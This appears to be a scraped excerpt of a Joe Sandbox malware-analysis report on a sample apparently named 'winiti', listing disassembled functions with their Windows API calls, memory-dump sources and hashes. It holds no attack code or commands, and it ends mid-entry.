Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: CurrentGlobalMemoryProcessStatus
String ID: @
API String ID: 3261791682-2766056989
Opcode ID: 9126c160c7f3f8a979c28d89de266492a2cb26c761d1c6b8a32731156d037bec
Instruction ID: 6cbde7d94e6c0cf4b3a80eb2cb1af277c1c132f4f69480687a0e135cf7c325ad
Opcode Fuzzy Hash: 9126c160c7f3f8a979c28d89de266492a2cb26c761d1c6b8a32731156d037bec
Instruction Fuzzy Hash: C8412672F01B4541F956CF7692183A99252BB69BC1F18C739AE0E77744FB39C7938600

Function 000000013FE01660 Relevance: 5.1, APIs: 4, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,00000000,000000013FDED516,?,-8000000000000000,00000001,000000013FDFC6D6), ref: 000000013FE016EA
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,000000013FDED516,?,-8000000000000000,00000001,000000013FDFC6D6), ref: 000000013FE01759
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,000000013FDED516,?,-8000000000000000,00000001,000000013FDFC6D6), ref: 000000013FE017A2
LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,000000013FDED516,?,-8000000000000000,00000001,000000013FDFC6D6), ref: 000000013FE017B8

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 0430e5036a9640feed12229f19debff97727073d71a72808b7631fa93863536e
Instruction ID: f3bffc438486ad61274dee272708329de89d6a11b24b158af4155c7c795729ac
Opcode Fuzzy Hash: 0430e5036a9640feed12229f19debff97727073d71a72808b7631fa93863536e
Instruction Fuzzy Hash: 51514F35A08A4181EA26CF52FC943E973A0F75A7D4F59423AEA5D47AB5CB3CC756C300

Function 000000013FE104D0 Relevance: 5.1, APIs: 4, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?,00000000,00000001,000000013FDFDA29), ref: 000000013FE10510
LeaveCriticalSection.KERNEL32(?,00000000,00000001,000000013FDFDA29), ref: 000000013FE10586
EnterCriticalSection.KERNEL32(?,00000000,00000001,000000013FDFDA29), ref: 000000013FE105DE
LeaveCriticalSection.KERNEL32(?,00000000,00000001,000000013FDFDA29), ref: 000000013FE10604

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 49907da951615bb056f4715dd605aad2ff44e51d4236cc1df112cb9915273893
Instruction ID: c43f0dbb90059c57102601ee3645260c84d75fa9400f2f86668015cf3d8ca442
Opcode Fuzzy Hash: 49907da951615bb056f4715dd605aad2ff44e51d4236cc1df112cb9915273893
Instruction Fuzzy Hash: 4A415D71A08A5491FA23DF13E8843EA73A4F76A7C1F860539EB49476B5DB7CC682C310

Function 000000013FDECF30 Relevance: 4.7, APIs: 3, Instructions: 195
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SwitchToThread.KERNEL32 ref: 000000013FDED012
SwitchToThread.KERNEL32 ref: 000000013FDED01B

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: b53c1b8baf3fa961f42f9a93c026e3a91cc4469665a52e1080013d420c1a925c
Instruction ID: eef52e2a6ef1e40c188b4447e1643330802c6adf8eb01af30b5675ce26e5ea4e
Opcode Fuzzy Hash: b53c1b8baf3fa961f42f9a93c026e3a91cc4469665a52e1080013d420c1a925c
Instruction Fuzzy Hash: CB71D231B0020286FB66AF96E9497EA2391BB647D4F04013DFE19972E9DF39CA43D700

Function 000000013FDE2930 Relevance: 4.5, APIs: 3, Instructions: 34
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(?,?,?,?,00000000,000000013FDE5348,?,?,0000000A,000000013FDE43A0,?,?,00000000,000000013FDDEA91), ref: 000000013FDE2957
GetCurrentProcess.KERNEL32(?,?,?,?,00000000,000000013FDE5348,?,?,0000000A,000000013FDE43A0,?,?,00000000,000000013FDDEA91), ref: 000000013FDE2977
VirtualAllocExNuma.KERNEL32 ref: 000000013FDE2998

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: AllocVirtual$CurrentNumaProcess
String ID:
API String ID: 647533253-0
Opcode ID: 686b3994b09b840201f1684b8296069bddec3b68bb7cd25d79b3609eb5cb6e8f
Instruction ID: aa6897ca42bc0b9267c8f05918eb2316bc02c96353b43b00398aee0318a2a711
Opcode Fuzzy Hash: 686b3994b09b840201f1684b8296069bddec3b68bb7cd25d79b3609eb5cb6e8f
Instruction Fuzzy Hash: 8BF06272B14690C2EB208F26F40475AA760BB49FD5F584139EF8C17B58DB3DC6928B04

Function 000000013FDD9F40 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EventRegister.ADVAPI32(?,?,?,000000013FDD5884), ref: 000000013FDD9F95

Strings

gcConservative, xrefs: 000000013FDDA004

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: EventRegister
String ID: gcConservative
API String ID: 3840811365-1953527212
Opcode ID: 0bd704104a13a76449dc93aebda2a80e695e757360b9318b75be9f098cee9c4f
Instruction ID: cd7004de79b0c52b3982eadcf4cc4a58fd4ebfabc35e283b2789982290135b85
Opcode Fuzzy Hash: 0bd704104a13a76449dc93aebda2a80e695e757360b9318b75be9f098cee9c4f
Instruction Fuzzy Hash: 6C317E31600B4A92FB12DF9AE985BD633A0FB497C4F40552AFB4D032B2DB39C64AD740

Function 000000013FE38ED4 Relevance: 3.0, APIs: 2, Instructions: 21
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,000000013FE38FD9,?,?,?,?,000000013FDDDBC1,?,?,?,000000013FDDE13C,00000000,00000020,?), ref: 000000013FE38EEE
Concurrency::cancel_current_task.LIBCPMT ref: 000000013FE38F04

Part of subcall function 000000013FE39A2C: std::bad_alloc::bad_alloc.LIBCMT ref: 000000013FE39A35

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmallocstd::bad_alloc::bad_alloc
String ID:
API String ID: 205171174-0
Opcode ID: b0e683634f6cf977cd568e859ab9fb6e1e75df7de34bcf169af656f9c50744c0
Instruction ID: 63dd8b6169fcafdd9835402df0ae5b0004d9e3e27d86b2b299866d146ce1ad37
Opcode Fuzzy Hash: b0e683634f6cf977cd568e859ab9fb6e1e75df7de34bcf169af656f9c50744c0
Instruction Fuzzy Hash: EFE01772E1210A46FD2866775E6E3E900818F48370E2F1B7E5D36086F3AA248B9B8210

Function 000000013FDDB2E0 Relevance: 3.0, APIs: 2, Instructions: 18
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 000000013FDDB2F9
CloseHandle.KERNELBASE ref: 000000013FDDB30C

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: CloseCreateHandleThread
String ID:
API String ID: 3032276028-0
Opcode ID: 10e2c95deb48a9fa91c132fa6e8d2868e379d5a6b0bea3614ebc36bd565de11c
Instruction ID: 6bda3dbe255533609f5a910cfef3119dc45450e6b5d80bd7841ac54a85dd480e
Opcode Fuzzy Hash: 10e2c95deb48a9fa91c132fa6e8d2868e379d5a6b0bea3614ebc36bd565de11c
Instruction Fuzzy Hash: 4AD012B6F0174082DB14EF75680535517D5BB98B54F85413CAE4D93320FE3C83168900

Function 000000013FDF6690 Relevance: 2.6, APIs: 2, Instructions: 107COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,000000013FDFC70D), ref: 000000013FDF67AA
LeaveCriticalSection.KERNEL32(?,?,?,000000013FDFC70D), ref: 000000013FDF67CB

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1a22502bf992a24a703f73c6a817279700c5c49892520407a1fa6d59b5a26f00
Instruction ID: b0b01d8085f2db665bc11bcc0b391e81e22eca36696b859ab90e9dedfe77ed03
Opcode Fuzzy Hash: 1a22502bf992a24a703f73c6a817279700c5c49892520407a1fa6d59b5a26f00
Instruction Fuzzy Hash: 6641B071610B4085EB128F6AE8547E633A1E759BF4F041339EA3847BE9DB38C546C340

Function 000000013FDDFE40 Relevance: 2.6, APIs: 2, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32 ref: 000000013FDDFEC0

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 81eb4f473b5f6baa680c7093f92d2b26f8a37406559a141903ec7adff4e5ed1f
Instruction ID: d393e43c255db237c99054df050ae6c3dbea4a0ebd6a327c36af7fd96f16d6c3
Opcode Fuzzy Hash: 81eb4f473b5f6baa680c7093f92d2b26f8a37406559a141903ec7adff4e5ed1f
Instruction Fuzzy Hash: 2131C432B01B5482EA15DB66951439A63E4FB49FD4F048539EF5C1BBD4EF38C6638340

Function 000000013FE10630 Relevance: 2.5, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

Part of subcall function 000000013FDE29C0: VirtualFree.KERNELBASE ref: 000000013FDE29CA

EnterCriticalSection.KERNEL32(?,?,?,000000013FDF66E9,?,?,?,000000013FDFC70D), ref: 000000013FE10662
LeaveCriticalSection.KERNEL32(?,?,?,000000013FDF66E9,?,?,?,000000013FDFC70D), ref: 000000013FE1068C

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterFreeLeaveVirtual
String ID:
API String ID: 1320683145-0
Opcode ID: 104b6b8d726536473a8dfb620195b120dc1c760eb9325624558afd6144496d8f
Instruction ID: 60004adc6470c90660bf12f838e03f53e3edd7d62a112892d97098ac4ae5fab4
Opcode Fuzzy Hash: 104b6b8d726536473a8dfb620195b120dc1c760eb9325624558afd6144496d8f
Instruction Fuzzy Hash: BAF03C32D0865080E6129B17FDC43EA23B0E3597D1F455139EB59439B58B38CA96C700

Function 000000013FDE28F0 Relevance: 2.5, APIs: 2, Instructions: 17memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000000013FDE2906
VirtualFree.KERNELBASE ref: 000000013FDE291C

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 39155d9e0f21e472d4726bd40e7b7375b22274d9dbcec4a77f59ee3cc5932518
Instruction ID: 56981225ee6e370abbe0924a1d1f80172b061a91b7465544e907178ebb44cc2c
Opcode Fuzzy Hash: 39155d9e0f21e472d4726bd40e7b7375b22274d9dbcec4a77f59ee3cc5932518
Instruction Fuzzy Hash: 94E0C235F1260082FB199B23B88579523916B5DB50FC4802CC90903360DE39825B8F50

Function 000000013FDE744E Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32 ref: 000000013FDE7494

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: 7460946a867b334da87abb833cff141128d26cc53670839ff519a9e4497aa03f
Instruction ID: d34c9d4e8f51a06b6cf65686fda79833448af676da87540efa36953ac9112876
Opcode Fuzzy Hash: 7460946a867b334da87abb833cff141128d26cc53670839ff519a9e4497aa03f
Instruction Fuzzy Hash: 1D418072F10A5442FB92CF56D4457E96395E3A8BE4F04422AEA6D537D9DB38CA42C340

Function 000000013FDD5920 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

Part of subcall function 000000013FDDAA30: VirtualQuery.KERNEL32 ref: 000000013FDDAA62

RaiseFailFastException.KERNEL32 ref: 000000013FDD59A8

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: ExceptionFailFastQueryRaiseVirtual
String ID:
API String ID: 3307674043-0
Opcode ID: 1eb33025fcb74d676cc7358ae85899384f83db43159bf41c0ac61a9e8579e1b9
Instruction ID: 2574a80db47a3bb6cea0b9e8a5d4fca593ed4c58ffe21812d337818c8100acf6
Opcode Fuzzy Hash: 1eb33025fcb74d676cc7358ae85899384f83db43159bf41c0ac61a9e8579e1b9
Instruction Fuzzy Hash: B1115A72A0478082DB64AF69B4093CAB360F7457B0F14433AA6BA477D6DB78C6038700

Function 000000013FDE29C0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE ref: 000000013FDE29CA

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 5bf7aecc9f77985d4fc3611f7f1d3a7e0808b60eb16f243669942d2759ca37ea
Instruction ID: 5da5ae05af271de68fbe4e77799eb6e72e40913ee7187e70abe62759df83893b
Opcode Fuzzy Hash: 5bf7aecc9f77985d4fc3611f7f1d3a7e0808b60eb16f243669942d2759ca37ea
Instruction Fuzzy Hash: A6B01210F12000C2E3042B337CC2B0C03182B09B22FC40018CB04A1350CD2D82E62B10

Non-executed Functions

Function 000000013FDE2A80 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32 ref: 000000013FDE2ABC
GetCurrentProcess.KERNEL32 ref: 000000013FDE2AE4
OpenProcessToken.ADVAPI32 ref: 000000013FDE2AF7
AdjustTokenPrivileges.ADVAPI32 ref: 000000013FDE2B1C
GetLastError.KERNEL32 ref: 000000013FDE2B24
CloseHandle.KERNEL32 ref: 000000013FDE2B31
GetLargePageMinimum.KERNEL32 ref: 000000013FDE2B46
VirtualAlloc.KERNEL32 ref: 000000013FDE2B77
GetCurrentProcess.KERNEL32 ref: 000000013FDE2B83
VirtualAllocExNuma.KERNEL32 ref: 000000013FDE2BA3

Strings

SeLockMemoryPrivilege, xrefs: 000000013FDE2AB5

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: Process$AllocCurrentTokenVirtual$AdjustCloseErrorHandleLargeLastLookupMinimumNumaOpenPagePrivilegePrivilegesValue
String ID: SeLockMemoryPrivilege
API String ID: 1752251271-475654710
Opcode ID: ddb9acfd945d833e265492e35a954827198e86c4bc086900fbe4fb1499a4b753
Instruction ID: 48dcd2659c5a030ed369030c22b8a58b4b8ff6ddbd2202bda211e7893c704688
Opcode Fuzzy Hash: ddb9acfd945d833e265492e35a954827198e86c4bc086900fbe4fb1499a4b753
Instruction Fuzzy Hash: 92317072A04B4086FB209FA1B44839A77A5F798BD9F104039EF4E47759DE3DC6468B40

Function 000000013FDD80B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32 ref: 000000013FDD813B
RaiseFailFastException.KERNEL32 ref: 000000013FDD829A
RaiseFailFastException.KERNEL32 ref: 000000013FDD8390
RaiseFailFastException.KERNEL32 ref: 000000013FDD83A6
RaiseFailFastException.KERNEL32 ref: 000000013FDD8406

Strings

[ KeepUnwinding ], xrefs: 000000013FDD83BA

Memory Dump Source

Source File: 0000000B.00000002.451620864.000000013FDD1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013FDD0000, based on PE: true

Associated: 0000000B.00000002.451616526.000000013FDD0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451641288.000000013FF0B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451651795.000000013FF6B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140030000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451667747.0000000140037000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.451677250.000000014003F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_13fdd0000_winiti.jbxd

Similarity

API ID: ExceptionFailFastRaise
String ID: [ KeepUnwinding ]
API String ID: 2546344036-400895726
Opcode ID: ccef75ce2b4fd517aeb3d753c38118d6ca4b9bf99982452ca9f0cb54815e2628
Instruction ID: 68d0461a2121cc91af8121da45231b82d0128e69ede8e4b767a964138fae84ab
Opcode Fuzzy Hash: ccef75ce2b4fd517aeb3d753c38118d6ca4b9bf99982452ca9f0cb54815e2628
Instruction Fuzzy Hash: E2C16A73A05B4481EB96CFA5E5887D933A5FB44B88F58413ADE490B3E8DF31C69AC350

Function 000000013FDD5410 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 193COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32 ref: 000000013FDD5721

Strings

The required instruction sets are not supported by the current CPU., xrefs: 000000013FDD570E

Memory Dump Source

